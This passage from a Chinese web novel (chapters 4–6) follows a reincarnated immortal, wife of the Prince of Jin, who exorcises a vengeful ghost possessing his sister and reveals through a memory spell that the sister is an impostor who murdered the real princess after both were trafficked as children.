《王爷和离吧,王妃修仙你配不上》
第4章 还有更刺激的
就在这时,侍卫过来道:“郡主,王爷请您过去。”
清安郡主微微皱眉:“天才刚亮,哥哥就唤我过去?难道是发现了林倾月的丑事?”
想到这里,她连梳妆都不顾不得,披了件外裳便冲了出去。
也不知道哥哥会怎么处置那水性杨花的贱人。
虽然说圣上赐婚,不好把人浸猪笼,但也算有了正当的休妻理由。
或者,暂时不休?留在王府刷马桶?
想着想着,清安郡主不觉笑出声来。
到了晋王东方宴跟前,她还笑盈盈地问:“哥,林倾月那个贱人呢?”
“啪!”一个巴掌猝不及防地甩在清安郡主的脸上,打散了她的好心情。
她捂着脸,有些不敢置信:“哥你为何打我?”
在此之前,无论她干了多出格的时候,东方宴都没动过她一根指头。
“为何打你?”
东方宴的脸色冷如寒霜:“那乞丐是你找来的?”
“啊?”清安郡主有点意外,他这么快就知道了?还以为要过两天才会查呢。
她瘪了瘪嘴,不以为意地道:“没错,就是我找来的。哥哥,我知道你不喜欢林倾月,只是碍于皇命才不得不娶她。所以我就帮你想了这个法子,给哥哥一个名正言顺休妻的理由。她名声本就不好,做出这样的事,也没人相信她是冤枉的。只要哥……”
“够了!”东方宴气极,“你真是……”
真是蠢得不行!
否则又怎么会做出给自家哥哥戴绿帽子的事来?
毁了林倾月也就算了,还要连累他晋王名声受辱。
更可恨的是,栽赃陷害的事都能搞错,把那乞丐弄到他东方宴的床上,恶心的他一夜洗八次澡,皮都要搓破了!
一想到昨夜的腌臜事,东方宴就火气上涌,恨不得打死这蠢妹妹了事。
“你真以为你的手段高明?连本王都能轻易查出来的事,你以为陛下会查不出来?若叫陛下知晓,还以为是本王阳奉阴违!若因此,坏了本王的前程,岂非因小失大?”
“哥哥,我只是替你不值啊!你出生高贵,皎皎若天上明月,岂是林倾月那样粗鄙的人能配得上?我不甘心啊哥哥!所以我才,我才……”
说着清安郡主眼圈一红,流下两行清泪。
她一哭,东方宴便不忍苛责,到底是最疼爱妹妹,又是为了自己才做的傻事。
“罢了,此事以后不准再提。至于林倾月……朝中局势未明之前,不宜动她。本王已经吩咐她不要随便出来,你眼不见为净就是了,没必要为那种人脏了自己的手。”
“嗯,都听哥哥的。”
清安郡主拽着东方宴的手,整颗心都软了:“我就知道,哥哥最疼清安了。”
东方宴的神色也缓和了几分,抬手正要去拍拍清安郡主的头——
“对了哥哥,那林倾月到底有没有被乞丐玷污?”
抬起的手顿时僵住了,东方宴的神色再度冷了下来:“本王都说了,此事不准再提!回去,一个月内不准踏出你的院门一步!”
“哥哥……”
清安郡主一时也有些纳闷,不是已经原谅她了吗?怎么突然又生气了,还罚她禁足?
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秋水院。
“王妃王妃,奴婢刚听说,清安郡主被罚禁足。”
说话的是林倾月的陪嫁丫鬟碧儿,也是她不久前从人贩子手下救下的小孤女。
侯府嫡女的陪嫁丫头、嬷嬷本来就没几个,昨晚清安郡主来找麻烦的时候,只有碧儿在门口阻拦了一下,被清安郡主命人打了板子。
其他的下人们,早就被吓得有多远躲多远了,根本不管她的死活。
此刻,碧儿的屁股虽还带着伤,可还是大清早就过来服侍。
“定是因为昨晚郡主欺负王妃,王爷才降下惩罚的。看来王爷还是在意您的,只要再相处些日子,王爷便能体会到王妃的好,喜欢上王妃的!”
林倾月淡笑:“你错了,他惩罚清安郡主,只是因为他自己。”
且还只是轻飘飘的一个“禁足”,果然偏袒得厉害。
就算那狗王爷知道真正的林倾月被清安郡主害死了,怕是也不会问罪凶手。
不过不要紧,作孽多了,总会有报应的。
林倾月戏谑一笑:本座便是你们的报应!
处理完家里的事情,东方宴便准备去上朝。
他身穿绛纱朝服,腰束金玉带,配着他冷峻的容颜、挺拔的身姿,颇有龙凤之姿。
可惜,看在林倾月眼里,只是金玉其外败絮其中罢了。
看到林倾月来了,东方宴眸光冷冷,语气不善:“不是让你待在秋水院,不要随意出来吗?”
林倾月扶了扶额头,一副弱不禁风的模样:“昨晚伤着了头,实在疼得紧,还请王爷开开恩,帮臣妾请个大夫瞧瞧。”
小丫头碧儿心头疑惑,刚才王妃还健步如飞,此刻怎么突然就这样了?
不过她还是很配合地搀扶着王妃,并帮腔:“王妃后脑上好大一个伤口,疼得一夜没睡好。求王爷可怜可怜我们王妃吧!”
东方宴听罢也没多少表情,只是目光淡淡扫了眼。
林倾月的头上缠了一条白色的丝帕,一看就是自己胡乱包扎的,只是那包扎的结法略有些眼熟。
猛然间,他想当初在京城郊外被刺客重伤后,伤口流血不止,差点死掉。
后来是“林如珍”撕掉了自己的裙摆给他包扎伤口。当时系的结,和林倾月此刻头上的一样。
——难道是珍儿教她的?珍儿对她这样好,她居然还暗算本王,抢了珍儿的姻缘,实在可恶!
却听林倾月虚弱地道:“昨夜伤口一直渗血,流得到处都是。所幸,臣妾小时长在山野,和山中猎户学了些包扎的手法,就胡乱包扎了下。王爷见笑了。”
东方宴眼底浮出一抹疑惑:“你说你这包扎的手法是和山中猎户学的?”
林倾月点头,眼神单纯而清澈:“这是南屏那一带猎户都会的包扎手法。那儿炎热多毒虫,若是伤着了不好好包扎,很容易感染死亡。穷苦之人又没钱请郎中。久而久之就衍生出了这种独特的包扎之法,既牢固且又能让伤口透气,能加速恢复。只是样子丑了些,叫王爷见笑了。”
东方宴沉吟不语,只是目光一味地盯着林倾月看。
那次他重伤获救后,很快就有太医为他医治。事后,太医还心有余悸地说:“万幸及时包扎减少出血,否则后果不堪设想啊!”
东方宴那夜意识昏沉,根本没有看清救人者的面容,只依稀记得姓“林”,叫什么名字,他没有听清楚。
后来林如珍站出来认下了救命之功,且还能拿出他赠送的玉佩。
而此刻,听了林倾月的话,他才开始怀疑起来:难道那日救我的,不是珍儿?
可想到林如珍那双仿佛会说话的眼眸,看向自己时温柔似水又含羞带怯的模样。
东方宴又觉得自己冒出的想法属实荒唐!
本王怎么能怀疑珍儿呢?她是那么美好的女子,又对本王一往情深。一个包扎的手法而已,并不能说明什么。
“找个医女给王妃瞧瞧伤。”东方宴到底还是松了口。
林倾月:“多谢王爷。”
狗王爷一向刚愎自用。
若是直接告知他真相,他未必会信。
他那样的人啊,更愿意相信自己发现的真相。
所以林倾月要慢慢地引导着他一点点地发现真相。
哪怕他现在不信,可怀疑的种子一旦种下,就会生根发芽。
当有一天,他发现林如珍也是个金玉其外的烂人,甚至是他最看不起的贱民血脉时,不知道会作何表现。
哎呀,想想都觉得有趣呢。
于是,林倾月的唇角也不自觉地噙着一丝微笑。
东方宴看得一头雾水:“你在笑什么?”
林倾月也不收敛,笑盈盈地道:“臣妾只是见王爷穿着朝服,衣冠楚楚,格外丰神俊朗,难免心生爱慕,不知不觉便笑出了声。”
这一通马屁拍得,哪怕东方宴心有所属,也十分受用。
毕竟大多数人都喜欢戴高帽。
只是面上他依然表情严肃,正想警告林倾月不要痴心妄想。
林倾月却忽然惊呼了一声:“呀,王爷您头上好像有白色的小虫子在爬!该不会……该不会是生了头虱吧?”
一贯冷静自持的清贵王爷骤然色变:“头,头虱?”
难道昨夜被那乞丐压身时,给传染了?
一想到那肮脏无比的小虫子在自己头上爬来爬去,东方宴简直比被人杀了还难受。
他转身就走,惊慌失措地吩咐:“来人,备水!”
又忽然想起什么,恼怒地回头叮嘱林倾月:“不准胡言乱语,否则本王饶不了你!”
林倾月静静地站在那里,满目含笑地看着狗王爷终是失了态:
这就受不了了吗?今晚还有更刺激的呢!
清安郡主被禁足可是头一次发生的事,她百思不得其解:
“为什么哥哥那么生气?他明明知道我是为了他好啊,就算考虑不周全也不能怪我,更不该罚我啊!”
“还有林倾月那个贱人,她到底失身了没有?”
派了下人去打探,只得知林倾月的秋水院一整夜都很平静,没有任何外人进入的迹象。
倒是东方宴那边,昨夜冒出个刺客,听说侍卫赶到时,刺客已经被杀。
清安郡主前后一联想,猛然反应过来:
难道那个刺客,就是自己弄来的男乞丐?
可她明明让人把乞丐丢进林倾月的寝室,为什么又会莫名其妙跑去哥哥那边?
他们两个的住所,可是差得十万八千里呀!怎么就会走错呢?
林倾月!
是她,一定是她用了什么特殊的手段,哄骗那乞丐去行刺哥哥。
林倾月你真恶毒,得不到我哥哥,就想毁了他!
若不是她现在被禁足,恨不得立马冲出去找林倾月算账。
当日落西山,夜晚如期而至,清安郡主才终于想起昨夜的梦魇。
原本她打算今天去寺庙拜拜,去去晦气。
谁知道会出现那些乱七八糟的事,后来又被禁足,没能去成寺庙。
于是难免又把一切归咎在林倾月的头上,不禁又多恨了一分。
清安郡主转而又想:昨夜的梦魇应该只是个偶然,今晚多留几个丫头守夜,烛灯都点亮,再熏些安神香,应该就没事儿了。
于是到了入寝的时候,她吩咐身边四大丫鬟:“你们几个今晚都不准合眼,好好守在这里。一旦发现我做噩梦,就立刻将我唤醒。谁敢玩忽职守,我定不饶她!”
丫头们齐齐应下。
屋内灯火通明,青烟自狻猊炉中袅袅逸出,安神幽香沁入帘帷。
高床暖枕里,清安郡主的神色舒缓下来,逐渐入梦。
几个丫头们守在床前,呼吸放轻了,生怕惊扰到郡主好梦。
一刻钟之后,清安郡主的眉头忽然皱了起来,眼珠隔着眼帘疯狂转动,再一次陷入了梦魇中。
磅礴的大雨,四处漏雨的屋子,湿漉漉的头颅从床下的积水里浮出,露出诡异的笑容。
清安郡主想要尖叫,想要喊人,可她的嗓子好像被堵住了一半,用尽了全力,就是发不出一个音节。
那颗头颅已经完全从水里浮出,现出了上半身,是个清瘦的少女模样。
可她的手却苍白而肿胀,慢慢地抬起,向清安郡主招了招。
清安郡主的身体就不由控制地往前爬去,爬下了床,淌在水里。
明明意识还是清楚的,清楚地知道这是在梦里,可偏偏身体不受控制,跟着那东西往外走去。
要去哪里?
她不知道,只是满心焦急:“那些贱婢为什么还不喊醒我?是不是又在躲懒了?来人,快来人啊,快救救本郡主啊!”
这时,她耳边也传来人声呼唤:
“郡主,快醒醒!”
“郡主您要去哪里?快回来!”
“郡主,郡主……”
她想要回应,想要醒过来,可就是控制不住……
“郡主,郡主!”丫头们已经乱成了一锅粥。
刚才发现郡主不对劲,她们就一直尝试唤醒她。
但清安郡主非但没有清醒,还跟梦游似的,闭着眼下床往外走。
春梅想拦住她,被她撞开,力气大得惊人。
“快去通知王爷!”
……
第5章 死再多人,本王也不在乎!
东方宴因为沐浴,耽误了早朝,被圣上斥责。
晚上又和几个刚笼络的朝臣夜饮,直到子时过后才带着一身疲累回府。
前脚刚踏进门,就听下人来禀报:清安郡主出事了!
等他急吼吼地赶到后花园,就见清安郡主一个劲地要往湖里冲,五六个侍卫拽着才没跳下去。
东方宴还以为她是因为被禁足的事在闹,大喝道:“清安,你在胡闹什么?还不给本王过来!”
清安郡主动作一滞,朝着东方宴幽幽往来。
明明还是清安的模样,可脸上的笑容却格外的诡异。
她狞笑着说:“湖里好冷啊,我的身体都泡烂了。下来陪陪我吧,我真的好冷啊……”
声音透着说不出的寒意。
东方宴感觉到不对劲,那不是清安的声音!
“来人,去玄镜司请鉴邪使来!”
玄镜司创立于十年前,察天地异气,祓人间妖祟。
鉴邪使乃是玄镜司主事官员,正五品官职。
手下多是民间网罗的能人异士,通阴阳、捉妖邪。
不到半个时辰,一个三十多岁,面白长须的男子带着几个属下匆匆赶来。
此人正是玄镜司的二把手,正五品鉴邪使谢守正。
谢守正人还没靠近,声音就咋咋呼呼地传来:“邪祟在哪里?天子脚下,胆敢犯事,当我们悬镜司是吃屎的吗?”
东方宴远远地听到这粗鲁的嚷嚷声,眉头就忍不住皱了皱:
早就听说玄镜司的人都是一帮江湖泥腿子出生,没什么教养规矩。干的又是阴活,贵族清流若非必要,都不爱和他们打交道。
不过今日有事相求,东方宴自然要客气一些。
“有劳谢大人深夜奔波,本王的妹妹清安郡主突然跟变了人似的,一个劲地要往湖里跳去,且力气也变得很大。本王怀疑是阴邪上身。”
“王爷莫慌,容下官一探究竟。”
到了湖边,就见到清安郡主披头散发地被绑在凉亭的柱边,防止再跳湖。
她还剧烈地挣扎,手脚都被绳子勒出了血痕,也浑然不知,只一味地嘶吼着,根本没有半分人样,分明像头困兽。
谢守正瞅了眼,就看明白了:“确实是阴邪上身,怨气还挺大。”
东方宴赶忙问:“那该如何?”
“没事没事,王爷您往后退退,瞧好咯。”他手一伸,喊道,“本官的血荆鞭呢?”
手下赶忙递来一柄通体赤红的鞭子。
谢守正拿过鞭子,凌空一挥,“啪”震耳欲聋。
东方宴脸色一变:“谢大人,你要干什么?”
“驱邪啊。”谢守正感觉他问了句废话,“王爷,劳烦让让,别挡路。”
东方宴问:“你不会是想要拿鞭子抽本王的妹妹吧?”
谢守正举着鞭子道:“我这可不是一般的鞭子啊,专打妖邪。让下官抽几遍,邪祟就能从郡主身上下来了。”
东方宴不放心地问:“可会伤人?”
谢守正说:“那多少要带些伤。”
东方宴道:“那怎么行?换个法子!”
“换不了,只能这个法子。王爷,您莫非不信任下官?你要不信任下官,那下官可就不管了。大半晚上的,被您的人从窝里被薅出来,我容易嘛我!”
他逼逼叨叨的,真就收着了鞭子准备回家了。
东方宴没办法,只好道:“本王相信你,只是本王的妹妹身子娇贵,还请谢大人手下留情。”
“放心,几鞭子而已,死不了。”
“郡主啊,下官得罪了。”
嘴里说着客气话,一鞭子甩过去,却是毫不手软。
清安郡主当即惨叫一声,身上露出一条血淋淋的鞭痕。
看得东方宴一阵心疼,可又没办法阻拦。
谢守正一鞭接一鞭,边打边骂:“一鞭打在手,让你手毒。二鞭打在心,叫你心狠。三鞭打你魂,常思己过莫害人……”
东方宴在旁边听得直皱眉:“谢大人,你该不会和舍妹有仇吧?”
谢守正赶忙道:“王爷千万莫要误会,下官打的是郡主身上的邪祟,并非针对郡主哇!”
“好了您瞧,郡主现在是不是安静下来了?”
清安郡主确实不挣扎,也不嘶吼了,但是人也奄奄一息了。
谢守正把鞭子递给手下,又拿出一个葫芦,揭开葫嘴封口,喊道:“进我宝葫,渡你往生,来来来——”
“哎,不肯来?怎的如此倔强呢,你死都死了,何苦再闹腾?”
“进我宝葫,渡你往生,来来来——”
“来来来——”
喊了几声后,谢守正无奈地对东方宴道:“王爷,那邪祟执念深、怨念大,本官一时半会喊不来。”
东方宴问:“那该如何?谢大人该不会连个小鬼都奈何不了吧?”
谢守正道:“这可不是寻常小鬼,而是已经化成了‘厉’。不如等本官做个法事,问一问她和郡主有何过节,因何执念不散。若是能好好超度了……”
“邪祟害人,何须超度?我要它魂飞魄散,魂飞魄散!”清安郡主此刻已经恢复了些许意识,大声地咆哮着。
谢守正道:“就算是邪祟,曾经也是人。随随便便就打散了,有伤天和,乃下下之策。”
清安郡主转而向东方宴哭求:“哥哥,她缠得我好苦。我不管,我就要她魂飞魄散,永不超生!”
东方宴对谢守正道:“郡主的话你听懂了吗?不管是人是鬼,敢伤害本王的妹妹,本王让它地狱都下不去!”
下一刻,阴风裹着枯叶猛然扑向清安郡主,清安郡主的面目再度狰狞起,仰天大吼一声,只听得“砰!”的一声,困在身上的绳索尽数崩断。
谢守正脸色大变:“不好,要化煞了!”
人死留魂,新丧为游魂,执念生“鬼”,异变之后称为“凶厉”,凶厉之上则为“煞”。
“厉”虽凶,还有两三分人性。
“煞”则完全丧失人性,且实力也会暴涨,无差别地攻击任何可见之人。
化煞除了执念、怨念强之外,还需要一些契机,因此比较少见。
今晚也不知道为什么会这样。
谢守正也很头疼,却也只能硬着头皮上。
他一鞭挥去,便被清安郡主抓住了鞭尾,再用力一甩,就将谢守正给甩飞了。
谢守正一个鲤鱼打挺爬了起来,一边掏着袖一边骂道:“奶奶个熊!老子都说了化解化解,现在好了逼成煞了!哎呀,本官要被你们害死了!”
清安郡主啪啪几掌,打飞了十几个王府侍卫,又扑向东方宴。
东方宴也习得一身好武艺,可此刻他招数还没使出来,就被清安郡主掐住了脖子,像拎小鸡一样拎起来。
“死,都死!都死!”清安郡主嘶吼着,眼眸赤红,嘴里长出尖尖的獠牙,面目极为狰狞。明显是被“煞”上了身。
“清安,清醒一点……谢大人,救,救本王……”
谢守正还在掏袖口,嘴里嘟囔着:“本官的降妖锤呢?难道忘带了?哎呀王爷您再坚持一会,本官在找降妖锤,锤子呢……哎呀找到了!”
他掏出一个拳头大小的锤子,神色一肃喝道:“邪祟受死!”
一锤落下,带着雷霆之力,清安郡主半边身子顿时就着起了火。
她“嗷——”的尖叫了一声,丢下东方宴急忙去扑身上的火。
东方宴大喊着:“不可伤害我妹妹!”
谢守正过来一脚把清安郡主踹进湖里,清安郡主身上的火才灭掉。
可她的人也在水里浮浮沉沉,眼看就要淹死了。
东方宴大喊:“快救郡主!”
谢守正却道:“都这样了,恶煞还不肯从郡主身上下来。只怕真要不死不休了。”
东方宴问:“不死不休是什么意思?”
“恶煞不除掉,很快就会屠杀整个王府,不如死一人全大局。”
话音落下的同时,他手下众人迅速排出队形,挽出弓箭向湖中的清安郡主瞄准。
谢守正的语气陡然变得森冷:“本官虽然不愿意玉石俱焚。但悬镜司受命天子,为保一方安宁,不得以之时,亦可……”
不等他说完,东方宴咣当一声拔尖相向:“任何人都不准伤害本王的妹妹!”
“救人!”他下令,“不计任何代价,把郡主救上来!”
王府侍卫得了令,一个接一个往湖里跳去。
清安郡主原本还在湖里挣扎,可当救她侍卫一靠近,就猛然伸手将他们脑袋往水里按去。
他们是要救人,可清安郡主被凶煞附体,却是要溺死他们!
而东方宴只心急妹妹的安危,却不顾侍卫的死活,还在下令喊来更多人打捞清安。
谢守正恼了:“晋王,东方宴!那些侍卫也是人,也是娘生爹养的,你怎可因一人而害了那么多条命?”
东方宴冷冷地道:“人有贵贱尊卑。若能以他们的命换本王妹妹的命,死再多人,本王也不在乎!”
“你!”谢守正气得瞠目结舌,偏偏又无可奈何。
就在这时,一道清越的声音悠悠传来:“阴阳虽隔,精诚可通。三魂渺渺,七魂茫茫,聚而回灵,听吾之令!东方清安,且上岸来!”
林倾月自黑暗中走出,一袭黑裙犹如夜色凝成,衣袂翻飞时裙摆上的暗金羽蝶仿佛要活过来一般。
原本一直发狂,凶神恶煞的清安郡主,听到她的声音时,浑身一颤,居然就乖乖听令,爬上了岸。
那些险些被她淹死的侍卫们,也侥幸得活。
清安郡主浑身湿淋淋地走到林倾月身旁,垂眸敛目,格外乖巧。
谢守正惊讶不已:“她她她居然听你的话?你是怎么做到的?哎呀先收了,万一等下再暴走可就麻烦了!”
林倾月道:“用不着收,了却了她的执念,自然就能送走。”
“可她已经化煞了,如何了却执念?难道……”
谢守正盯着清安郡主仔细打了一番,瞬间诧异,“她怨气淡了很多,这又变回来了?怎么可能?”
在谢守正的认知力,但凡已经化煞的鬼物,就跟活人已经断气了一样,都是救不回来的。
“你到底是谁?做了什么,居然能唤回她的人性?”
难道就凭刚才念的那几句话?
林倾月懒得和他解释太多,转而对东方宴道:“她的执念在你身上,你想知道吗?”
东方宴满腹狐疑:“为何在本王身上?还有你怎会知道这些?既然你能阻止这东西害人,何必浪费时间?”
林倾月轻叹:“王爷还真是没有一点求知欲啊。”
“本王确实对那些孤魂野鬼的事情不感兴趣。但若必须本王配合才能救清安,本王自然不会推辞。”
不知道为什么,东方宴看到林倾月这种样子,莫名觉得有些陌生。
“好个不感兴趣。”林倾月低头一笑,然后忽然拔出头上金钗猝不及防地刺入东方宴的胸口。
东方宴大惊失色,急忙挡开,还是被钗子堪堪划破胸前皮肉,殷红的血液顿时溢了出来。
“林倾月,你大胆!”
林倾月并不多言,又反手将钗子刺入清安郡主的胸口。
“林倾月!”东方宴怒不可遏,拔剑相向。
林倾月道:“取点血而已,不会要命。再耽误下去,她又要化煞了。”
果然话音落下的同时,清安郡主脸上再度浮现出暴虐的神色,冲着东方宴呲牙咧嘴地嘶吼了一声。
林清月取了他们二人的血,又问谢守正:“可有空的符纸,借来一用。”
“有有有!”谢守正赶忙抽出几张黄纸递给林倾月。
林倾月就着金钗上的血,唰唰几笔画出了一道符。
而后凌空一丢,双手迅速结印,喝一声:“前世种种,浮生一梦。以血为引,溯梦回影!”
刹那间,周围的一切如水中倒影,晃荡了几下后,忽然就变成了一条青石长街上,长街两侧灯火璀璨,人山人海。
看起来,好像元宵节灯会。
“这是什么地方?”东方宴感觉有点眼熟。
林倾月的声音悠悠飘来:“王爷莫慌,这是清安郡主过往记忆的回溯。”
“溯梦回影”是倾月仙君在修仙界时,闲来无事自己创的一项绝技。
能让人身临其境地看到另一个人的回忆。
第6章 溯梦回影
倾月仙君当年全盛之时,甚至可以让千万人同时陷入某一个人的回忆中,然后困死在回忆里。
但现在,她境界大跌,经过一天一夜的休整也只恢复了一点点微末的术法,还需要借用血和符纸才能“溯梦”。
“回影”也只能短暂地回给一个人。
而此刻,东方宴在清安郡主的回忆里,终于认出那是寿阳郡市井的巷子。
寿阳郡是东方宴父亲,上一代晋王的封地。
东方宴七岁时,才随着他的父王去往寿阳就藩。
那时东方宴顽劣不勘,最受不了父王将他拘在王府里读书,时常偷逃出去玩耍,每次总免不了一顿揍,偏又屡教不改。
那一年上元佳节,他听说外面灯会盛大,丢下书本就偷溜出门,还把清安郡主给带去了。
此刻,出现在东方宴眼前的场景,就是寿阳郡的长街。
那一晚的上元夜,花千树、星如雨,满城皆是灯火辉煌。
可此刻看在东方宴眼中,不知勾起了什么,竟然让他面露惶恐。
是了,他想起来了。
那一晚他把妹妹清安郡主给弄丢了,害得母亲含恨而终……
此刻的场景里,出现了一男一女两个孩子。
男孩被一处灯谜吸引住了,绞尽脑汁好不容易想出来,却发现妹妹不见了。
那时,清安郡主只有五岁,长得粉雕玉琢,十分可爱,和东方宴又是一母同胞,因此兄妹俩感情极好。
东方宴着急得到处找人,可长街上人山人海,根本看不见妹妹踪影。
“妹妹,妹妹!”扯着嗓子喊出的声音,瞬间淹没在人潮鼎沸里。
“蠢货,清安被人拐进小巷子里了。你快去小巷子里追,快去追啊!”
溯梦里虚影里,成年的东方宴对着当年小小的自己,大声地喊着。
可当年的自己还是个孩子,慌得六神无主,又被人潮挤得越来越远。
画面一转,七岁的东方宴不见了,出现在眼前的是清安郡主的视角。
漆黑的巷子里,五岁的清安郡主被迷晕了,丢在麻袋了。
不知道过了多久,她幽幽醒转,发现自己身处一个简陋的马车里。周围都是和她差不多年纪的小孩子,皆被捆着手、封着嘴。
外面传来大人的声音:
“听说晋王府丢了位郡主,正满城搜捕,该不会是被我们的人弄了吧?”
“今儿来的这批货里,确实有几个小丫头穿着打扮像富贵人家的千金。”
“啊!这可怎么办?要不把人还回去?”
“怎么还?我们干的这个行当本就是在犯罪,你还要自投罗网,是想诛九族吗?反正已经出城了,早些把这批货给卖了。谁能查到我们头上?”
“没错,管她是郡主还是乞丐,到了咱们手里就是猪崽!”
几日之后,清安郡主被卖到了杂技班,从金尊玉贵的郡主,摇身一变成了戏班里的小学徒。
她每日都被逼着练功,稍有不慎,便是一顿鞭子加身。
杂耍班里,有些孩子体弱,熬不住,没多久就病死了。
老板也不在意,丢去乱葬岗喂野狗。
就连清安郡主有一次也因为伤口感染烧了几日,差点死去。好在她命大,还是熬过来了。
就这样,熬过了四年后,清安郡主开始登台表演。
顶大缸、钻火圈、叠椅倒立,她都能顺利地完成,尤其擅长高空绳技。
当她画着艳俗的妆容,穿着夸张地站在高台上,看着那些夫人、小姐们笑语晏晏的模样,偶尔也会想起曾经自己也是坐在台下的贵客。
随着年龄的增大,过往的记忆越来越淡,她几乎都快要忘记自己曾经贵为郡主,是天子的侄女、王爷的嫡女。
偶尔想起,甚至都怀疑那不过是一场幻梦。
转眼间,清安就长到了13岁。
那年,戏班子受一位大官邀请,为远道而来的贵客表演。
听说,那贵客是刚刚袭爵的王爷,因为妹妹喜欢杂耍,便爱屋及乌。
底下的官员投其所好,特意请了当地最有名的杂耍班子表演。
那天,清安穿着桃红色的杂耍服,手持平衡杆,摇摇晃晃走到钢索中央。
底下响起了掌声,耳边传来一个清冷的声音:“赏。”
“晋王殿下有令——赏!”
晋王!
多么熟悉的称呼啊,她依稀记得,那似乎是父王的封号。
她忍不住低头下望,就看到一身华服的男子,坐在高座上。面容年轻,眉宇间依稀有父王的影子。
不是父王,是哥哥!
想起来了,我是清安郡主,是皇亲贵族,不是供人取乐的伶人!
她心神不稳,身体一晃,忽然一头从绳索上跌落。
周围瞬间就乱了起来。
有惊叫声传来,还有主人家不满的斥责,以及戏班老板连连致歉的声音。
清安郡主晕乎了一阵,又挣扎着苏醒。
她努力地想要爬起来,想要奔向那人,想要说:“哥,我是清安,我是你妹妹!”
有血从嘴里呕出,她什么也说不出来。
戏班老板怕再惊扰贵人,赶忙让手下把她抬走。
她想挣扎,想呼喊,却都无济于事。
就像当年,被人贩子拐走时,也是这般无可奈何。
在被抬走的最后一刻,她眼角余光里看到那金贵的男子面露不愉,转身离去,背影决绝。
所以,他没有看到清安向他伸出的手。
也没有听到清安无声的呐喊:
“哥,我想回家……我想爹娘……”
因为表演失败,惹得贵人不高兴,整个戏班都被灰溜溜地赶出了府。
戏班老板对此很生气,痛斥了清安一顿,罚她两天没饭吃。
清安知道自己不能再继续下去了,必须要求救。
而哥哥身份尊贵,底下的官员都难得一见,更遑论寻常百姓?
他好不容易出现在这里,好不容易遇到,一旦错过时机,可能一辈子都无法再见。
可清安属实伤得不轻,尤其是腿摔伤了,无法外出。
于是,她托了了戏班里关系最好的伙伴,帮她去找晋王。
两日之后,晋王亲自带着大批侍卫来了。
那天,自小饱受虐待的女伶人被迎走,从此锦衣玉食,贵不可言。
没人知道的是,同一天,在杂耍班大院的井底,无声无息地溺死了一个命运多舛的少女。
而整个杂耍班的人,也被问罪诛杀。
眼前的画面骤然散尽,东方宴满脸苍白,久久未能回神。
在溯梦的回影里,他亲眼看到妹妹被拐走卖进杂耍班,看着妹妹在日复一日的虐待中长大,长成了……另一个模样。
他慢慢抬眸,充楞地看向不远处——浑身湿漉漉的清安郡主。
可此刻的清安郡主……那个被他亲自从杂耍班里接回来的清安郡主,却不是溯梦里的模样。
“你是谁?你不是清安?”
溯梦里的清安被拐后,那些恶毒的拐子们怕被查出来,就干脆把同一批的小女孩全部毒哑。
所以,清安没有办法说话,即便后来再度遇到了哥哥,也只能无声地呐喊哭泣。
后来,她打着手语,花了很大的心思,才让最好的伙伴,明白她的意思。
她的伙伴名唤“红燕儿”,同为杂耍班的伶人。
红燕儿也是卖的。她原本只是普通的农户之女,家里遭了灾活不下去了才被卖掉。
红燕儿自小脾气暴躁,班里的伶人和她都处不好。唯有清安性格温婉,又不会说话,和红燕儿处得还不错。
得知了清安的身份居然是郡主后,红燕儿立马点头答应帮忙。
第二天,红燕儿急匆匆地跑回来说:“已经递出消息了!你哥哥很快就会来接你回去了。你身上太脏了,要不要先洗漱下?”
“你腿伤走不了?没事,我背你去井边洗。伶人本就被人轻贱,再脏兮兮、臭烘烘的,万一被你哥嫌弃,不认你了呢?那可是金尊玉贵的王爷殿下啊!”
就这样,她把清安郡主哄到了井边,然后狠心推了下去——
“同样都是被拐、被卖,凭什么你摇身一变要回去当郡主?而我永远只能当个低贱的伶人?”
“你能当郡主,我为什么不能?你命不好,死了活该,不能怪我啊!”
当东方宴得知消息,带着人急匆匆地赶来时,红燕儿眼泪汪汪地站了出来:“哥,我是清安啊……”
东方宴问她这些年是怎么过来的时,她哭诉着被虐待、被逼迫学杂技,还说自己好几次差被打死。
哄着东方宴把整个戏班的人都问了罪,免得有人发现她是假郡主。
当伶人时,她地位卑贱,人人可欺。
可当她坐上郡主尊位后,她不仅享受到了荣华富贵,还体会到了权利带来的诸多便利。
不高兴的时候,她能随便打骂丫鬟,甚至发卖处死。
哪怕是贵族阶层的人,也要对她卑躬屈膝、阿谀奉承。
渐渐地,她行事越来越跋扈。忘记了自己出生低贱,忘记了自己的一切都是偷窃得来。
而东方宴,则因为当年弄丢了妹妹愧疚自责,失而复得后,就变成了宠妹狂魔。
哪怕到了该议亲的年纪,清安郡主不愿意嫁人,他也纵着宠着。
可他怎么也没想到,宠了多年的妹妹,居然是个冒牌货。
甚至,在溯梦回影里,他还亲眼看到冒牌货把真正的妹妹推下井淹死!
此刻,他不敢置信地看着面前的女人:“你到底是谁?是清安,还是……红燕儿?”
“是不是你在故弄玄虚!”他忽然又等着林倾月。
此时此刻,他宁可相信是林倾月在搞鬼,也不肯接受那残酷的现实。
“与其质疑我,不如你自己看看,到底谁才是你妹妹!”
林倾月说着,抬手在他眼前一抚,替他开了阴阳眼。
于是东方宴清楚地看到,“清安郡主”的背上趴着一个人。
那是个13岁左右的少女,浑身都在滴水。
见东方宴目光望来,她慢慢抬头,当湿软的长发滑开,露出一张惨白惨白的脸。
那脸上的五官,还有几分他们母亲的模样。
刹那间,东方宴的脑海里浮现出了母亲临终前的叮咛:“阿宴,你一定要找到你妹妹,一定要找到啊!”
因为他丢了妹妹,母亲郁结在心,没两年就病逝了。
父亲在一次外出寻找途中,不慎坠马。
那一次的任性顽劣,丢了妹妹,也害得父母先后早逝。
一切都是他的错啊!
时隔多年,他好不容易找回了妹妹,却找回来个假的。
而他居然还对把一个假货给宠上了天,却不知真正的妹妹早成了孤魂野鬼,受尽煎熬。
刚才,他还为了救假妹妹,逼谢守正打散她的魂魄,让她永不超生!
“噗嗤!”东方宴心头骤痛,喷出一大口血来。
“清安……妹妹……”一向沉冷自负的男人,终于崩溃而哭。
清安的魂魄,从红燕儿身上下落,歪着头愣愣地看着那哭泣的男人。
须臾之后,她的脸上才慢慢地有了一点点表情,滚出了两行清泪。
而假郡主红燕儿此刻也清醒过来,愣愣地喊了句:“哥哥。”
“本王都看到了,是你推清安下井,是你害死了本王的妹妹,还冒充她身份,当了整整五年的郡主!这五年,你过得很开心吧?”
“本王就像傻子一样,宠着你、纵着你!就算你打伤了侍郎家千金,本王都不忍心责骂你,甚至还为了帮你平事,搜集侍郎贪污的证据,让你免受圣上的责罚。”
“到头来,却是养虎作伥!”
